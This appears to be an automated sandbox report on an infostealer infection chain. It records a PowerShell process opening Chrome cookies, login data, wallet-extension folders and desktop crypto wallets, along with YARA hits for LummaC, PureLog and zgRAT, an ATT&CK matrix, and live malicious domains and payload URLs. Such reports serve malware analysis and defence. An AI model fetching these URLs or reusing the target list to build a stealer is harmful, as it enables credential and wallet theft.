Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected PureLog Stealer

Source: Yara match	File source: 6.2.powershell.exe.d461e90.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.d461e90.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2813404644.000000000D3E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 6.2.powershell.exe.d461e90.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.d461e90.2.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Software Packing	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Name	IP	Active	Malicious	Reputation
atsuka.thrivezest.org	172.67.183.27	true	true	unknown
atsukaa.thrivezest.org	104.21.18.182	true	false	unknown
locketplyxx.click	172.67.151.193	true	true	unknown
solve.fizq.net	172.67.131.114	true	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://solve.fizq.net/awjxs.captcha	true	unknown
https://locketplyxx.click/api	true	unknown
https://atsuka.thrivezest.org/hubus.xlm	true	unknown
https://atsukaa.thrivezest.org/winwidgetshp.json	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://atsukaa.thrivezest.org/winwidgetshp.json$	mshta.exe, 00000002.00000003.1693843540.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://atsukaa.thrivezest.org/winwidgetshp.jsonLMEMh	mshta.exe, 00000002.00000003.1771480219.0000000006022000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1781742973.0000000006024000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778187959.0000000006024000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://solve.fizq.net/awjxs.captchai	mshta.exe, 00000002.00000002.1780491808.0000000002802000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777514381.0000000002801000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://solve.fizq.net/awjxs.captchad	mshta.exe, 00000002.00000002.1780491808.0000000002802000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777514381.0000000002801000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/mgravell/protobuf-netJ	powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp	false	high
https://atsukaa.thrivezest.org/winwidgetshp.json.	mshta.exe, 00000002.00000003.1771739310.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778219952.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780742700.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769456285.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://atsukaa.thrivezest.org/winwidgetshp.jsonetCookiesx	mshta.exe, 00000002.00000002.1780491808.0000000002802000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777514381.0000000002801000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.microsoft	powershell.exe, 00000006.00000002.2683246502.0000000003561000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000006.00000002.2688123535.00000000063DD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://atsukaa.thrivezest.org/winwidgetshp.jsonhttps://atsukaa.thrivezest.org/winwidgetshp.jsonhttp	mshta.exe, 00000002.00000003.1778635657.0000000009484000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://crl.microXz	powershell.exe, 00000006.00000002.2722957905.0000000007AF4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://atsukaa.thrivezest.org/	mshta.exe, 00000002.00000003.1771739310.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778219952.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780742700.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769456285.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1693843540.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/mgravell/protobuf-neti	powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp	false	high
https://aka.ms/pscore6lB	powershell.exe, 00000004.00000002.1756039105.0000000004E11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2688123535.0000000005371000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/11564914/23354;	powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000006.00000002.2688123535.00000000063DD000.00000004.00000800.00020000.00000000.sdmp	false	high
